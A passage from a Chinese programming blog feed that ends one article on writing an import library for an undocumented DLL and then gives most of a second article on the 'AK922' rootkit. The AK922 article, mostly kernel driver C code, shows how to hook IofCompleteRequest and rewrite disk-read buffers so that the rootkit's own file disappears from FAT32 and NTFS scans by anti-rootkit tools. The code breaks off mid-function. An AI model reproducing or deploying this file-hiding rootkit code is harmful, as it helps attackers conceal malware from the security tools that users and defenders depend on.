            <td><code>? CDECL LookupAddress( PCSTR, PSTR* );<br>PSTR* CDECL _GetAddress( PCSTR );</code></td>
        </tr>
    </tbody>
</table>
</p>
<p>接下来需要确定的就是LookupAddress的返回值了。纵观LookupAddress的返回代码，你会发现这样的片断：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code><font color=#008000>; 片断1</font><br>10001C0B XOR EAX,EAX<br>10001C0D POP ESI<br>10001C0E RETN<br><font color=#008000>; 片断2</font><br>10001C2B MOV EAX,1<br>10001C30 POP ESI<br>10001C31 RETN</code></td>
        </tr>
    </tbody>
</table>
</p>
<p>也就是说，这个函数有两个返回值：0或1。那么最后的真相终于大白于天下——</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code>BOOL CDECL LookupAddress( PCSTR, PSTR* );<br>PSTR* CDECL _GetAddress( PCSTR );</code></td>
        </tr>
    </tbody>
</table>
</p>
<p><strong>GetProcAddress？</strong></p>
<p>到此为止，这两个函数的声明终于让我们找出来了。也许你会觉得这就够了——接下来就是用typedef定义函数指针，然后使用LoadLibrary、GetProcAddress调用这些函数的事情了。</p>
<p>如果你真的这么认为的话，那我认为我有必要向你介绍这另外的一种方式。</p>
<p>首先请你建立一个名为ipsearcher.def的文件，然后在其中写入如下内容：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code>LIBRARY "ipsearcher"<br><br>EXPORTS<br>LookupAddress @1<br>_GetAddress&nbsp;&nbsp; @2</code></td>
        </tr>
    </tbody>
</table>
</p>
<p>将文件保存后，进入到命令行模式下，输入以下命令（前提是你拥有Visual Studio的附带工具lib.exe并有正确的路径指向。以Visual Studio 6.0为例，这个工具通常位于Microsoft Visual Studio\VC98\Bin下）：</p>
<p>lib /def:ipsearcher.def</p>
<p>执行的结果有一个警告，不必理会。这时候我们会发现，lib为我们生成了一个ipsearcher.lib。</p>
<p>然后，我们继续编写ipsearcher.h文件，如下：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code><font color=#0000ff>#ifndef</font>&nbsp;IPSEARCHER_H<br><font color=#0000ff>#define</font>&nbsp;IPSEARCHER_H<br><br><font color=#0000ff>#include</font>&nbsp;&lt;windows.h&gt;<br><br><font color=#0000ff>#pragma&nbsp;comment</font>(&nbsp;<font color=#0000ff>lib</font>,&nbsp;"ipsearcher.lib"&nbsp;)<br><br><font color=#0000ff>extern</font>&nbsp;"C"<br>{<br><br>BOOL&nbsp;CDECL&nbsp;LookupAddress(&nbsp;PCSTR,&nbsp;PSTR*&nbsp;);<br><br>PSTR*&nbsp;CDECL&nbsp;_GetAddress(&nbsp;PCSTR&nbsp;);<br><br>};<br><br><font color=#0000ff>#endif</font>&nbsp;<font color=#008000>//&nbsp;IPSEARCHER_H</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p>大功告成！这样我们就为这个光秃秃的ipsearcher.dll做了一份SDK开发包，而不必再使用动态加载的方法了。</p>
<p><strong>总结一下再</strong></p>
<p>其实，探究一个DLL并非像我这里所讲述的这么简单。这项工作很可能需要阅读大量的汇编代码，了解DLL函数体的流程才能使真相大白于天下。另外，还不能排除有的DLL被加密、加壳、反跟踪&#8230;&#8230;也就是说对于ipsearcher.dll，那简直就是我捡了个便宜来借花献佛了。</p>
<img src ="http://www.cppblog.com/elva/aggbug/35520.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-10-30 15:20 <a href="http://www.cppblog.com/elva/archive/2007/10/30/35520.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AK922: 突破磁盘低级检测实现文件隐藏</title><link>http://www.cppblog.com/elva/archive/2007/10/12/34018.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Fri, 12 Oct 2007 03:58:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/10/12/34018.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/34018.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/10/12/34018.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/34018.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/34018.html</trackback:ping><description><![CDATA[AK922: 突破磁盘低级检测实现文件隐藏<br>作者：Azy<br>email: Azy000@gmail.com<br>完成于：2007-08-08<br><br>&nbsp;&nbsp; 目前，一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法：第一种是文件系统层的检测，属于这一类的有icesword，darkspy，gmer等。第二种便是磁盘级别的低级检测（Disk Low-Level Scanning），属于这一类的ark也很多，典型代表为rootkit unhooker，filereg（is的插件），rootkit revealer，blacklight等。当然，还有一些工具，它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。<br>&nbsp;&nbsp; 驱动也好，应用也罢，说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中（fastfat.sys/ntfs.sys），第二类被发送到磁盘驱动（disk.sys），而后IRP便会携带相应的文件信息返回，这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层，IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息，所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法，当然，这也是在AK922中使用的。<br>&nbsp;&nbsp; 对于要实现文件隐藏的RK，与其说是&#8220;绕过&#8221;，还不如说是&#8220;拦截&#8221; -- 挂钩某些内核函数调用，以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。<br>&nbsp;&nbsp; AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思，因为它不仅是一个几乎在任何驱动中都要调用的函数，而且参数中正好含有IRP。有了IRP，就有了一切。这些特性决定了它很适合做我们的&#8220;傀儡&#8221;。但更重要的是，一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕，IRP中相关域已经填充了内容，这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。<br>&nbsp;&nbsp; 下面就着重说一下工作流程：<br>&nbsp;&nbsp; 首先，判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象，因为这才是我们要处理的核心IRP，所有ark直接发送到Disk层的IRP在这里都可以被拦截到。<br>&nbsp;&nbsp; 接下来的处理要特别注意，进入到这里时IRQL是在APC_LEVEL以上的，因此我们不能碰任何IRP中的用户模式缓冲区，一碰极有可能蓝，也就是说我们不能直接处理相关磁盘扇区信息，而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外，由于Disk层在设备堆栈中处于靠下的位置，大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了，这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针，为了操作用户模式缓冲区，必须调用KeAttachProcess切到IRP发起者的上下文环境中，而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上，做的事越少越好。<br>&nbsp;&nbsp; 刚开始我还分两种情况进行处理：因为并不是所有的IRP都不处在原始上下文中，比如icesword发的IRP到这里还是处在icesword.exe进程中的，这时我认为可以不用排队工作项，这样就可以节省很多系统资源，提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区，但这根本行不通。驱动很不稳定，不一会就蓝了。故索性老老实实地排队去了，然后再分情况处理。代码如下：<br><br>// 处理Disk Low-Level Scanning<br>if(irpSp-&gt;MajorFunction == IRP_MJ_READ &amp;&amp; IsDiskDrxDevice(irpSp-&gt;DeviceObject) &amp;&amp; irpSp-&gt;Parameters.Read.Length != 0)<br>{&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;orgnThread = Irp-&gt;Tail.Overlay.Thread;<br>&nbsp;&nbsp;&nbsp;&nbsp;orgnProcess = IoThreadToProcess(orgnThread);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;if(Irp-&gt;MdlAddress)<br>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UserBuffer = (PVOID)((ULONG)Irp-&gt;MdlAddress-&gt;StartVa + Irp-&gt;MdlAddress-&gt;ByteOffset);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// UserBuffer必须有效<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(UserBuffer)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(KeGetCurrentIrql() == DISPATCH_LEVEL)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WorkerCtx-&gt;UserBuffer = UserBuffer;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WorkerCtx-&gt;Length = irpSp-&gt;Parameters.Read.Length;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WorkerCtx-&gt;EProc = orgnProcess;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExInitializeWorkItem(&amp;WorkerCtx-&gt;WorkItem, WorkerThread, WorkerCtx);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExQueueWorkItem(&amp;WorkerCtx-&gt;WorkItem, CriticalWorkQueue);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br>&nbsp;&nbsp;<br><br>&nbsp;&nbsp; 来到工作者线程，到了PASSIVE_LEVEL级上，切换上下文之后，似乎安全多了。但是以防万一，操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下：<br><br>VOID WorkerThread(PVOID Context)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;KIRQL irql;<br>&nbsp;&nbsp;&nbsp;&nbsp;PEPROCESS eproc = ((PWORKERCTX)Context)-&gt;orgnEProc;<br>&nbsp;&nbsp;&nbsp;&nbsp;PEPROCESS currProc = ((PWORKERCTX)Context)-&gt;currEProc;<br>&nbsp;&nbsp;&nbsp;&nbsp;//PMDL mdl;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if(((PWORKERCTX)Context)-&gt;UserBuffer)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(eproc != currProc)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KeAttachProcess(eproc);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__try{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// ProbeForWrite must be running &lt;= APC_LEVEL<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProbeForWrite(((PWORKERCTX)Context)-&gt;UserBuffer, ((PWORKERCTX)Context)-&gt;Length, 1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HandleAkDiskHide(((PWORKERCTX)Context)-&gt;UserBuffer, ((PWORKERCTX)Context)-&gt;Length);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__except(EXCEPTION_EXECUTE_HANDLER){<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//DbgPrint("we can't op the buffer now :-(");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KeDetachProcess();&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KeDetachProcess();&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else{<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__try{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// ProbeForWrite must be running &lt;= APC_LEVEL<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProbeForWrite(((PWORKERCTX)Context)-&gt;UserBuffer, ((PWORKERCTX)Context)-&gt;Length, 1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HandleAkDiskHide(((PWORKERCTX)Context)-&gt;UserBuffer, ((PWORKERCTX)Context)-&gt;Length);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__except(EXCEPTION_EXECUTE_HANDLER){}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br><br>&nbsp;&nbsp; 准备工作终于算是做得差不多了，下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构，我先把要用到的主要结构列出来，其余的大家可以参考《NTFS Documentation》。<br><br>typedef struct _INDEX_HEADER{<br>&nbsp;&nbsp;&nbsp;&nbsp;UCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;magic[4];<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UpdateSequenceOffset;<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SizeInWords;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;LogFileSeqNumber;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;VCN;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IndexEntryOffset;&nbsp;&nbsp;&nbsp;&nbsp;// needed!<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IndexEntrySize;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AllocateSize;<br>}INDEX_HEADER, *PINDEX_HEADER;<br><br><br>typedef struct _INDEX_ENTRY{<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MFTReference;<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Size;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// needed!<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileNameOffset;<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Flags;<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Padding;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MFTReferParent;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CreationTime;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ModifyTime;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileRecModifyTime;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AccessTime;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AllocateSize;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RealSize;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileFlags;<br>&nbsp;&nbsp;&nbsp;&nbsp;UCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileNameLength;<br>&nbsp;&nbsp;&nbsp;&nbsp;UCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NameSpace;<br>&nbsp;&nbsp;&nbsp;&nbsp;WCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileName[1];<br>}INDEX_ENTRY, *PINDEX_ENTRY;<br><br>&nbsp;&nbsp; 在读取磁盘文件信息时每次都是以一个扇区大小（512 bytes）的整数倍进行的，如果不了解相应卷的组织形式和数据结构，那么感觉就是数据多而繁杂，搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句，算法的高效是很重要的，如果采用暴力搜索的方式，那么系统BSOD的概率会大大增加。<br>&nbsp;&nbsp; 在FAT32卷上，当AK922搜索到文件AK922.sys的目录项时，将其0x0偏移处的文件名的第一个字节置为"0xe5"，即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽，不让winhex察觉出来，最好把文件名全部清0。<br>&nbsp;&nbsp; 处理NTFS卷稍微麻烦些，文件记录和索引项都要抹干净，具体实现见代码，这里不再赘述。<br><br>VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG i;<br>&nbsp;&nbsp;&nbsp;&nbsp;BOOLEAN bIsNtfsIndex;<br>&nbsp;&nbsp;&nbsp;&nbsp;BOOLEAN bIsNtfsFile;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG offset = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG indexSize = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;PINDEX_ENTRY currIndxEntry = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;PINDEX_ENTRY preIndxEntry = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG currPosition;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);<br>&nbsp;&nbsp;&nbsp;&nbsp;bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if(bIsNtfsFile == FALSE &amp;&amp; bIsNtfsIndex == FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i &lt; BufLen/0x20; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!_strnicmp(UserBuf, fileHide, 5) &amp;&amp; !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(PUCHAR)UserBuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0xe5;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(PULONG)((ULONG)UserBuf + 0x1)&nbsp;&nbsp;&nbsp;&nbsp;= 0;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UserBuf = (PVOID)((ULONG)UserBuf + 0x20);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;} else if(bIsNtfsFile) {<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//DbgPrint("FILE0...");<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i &lt; BufLen / FILERECORDSIZE; 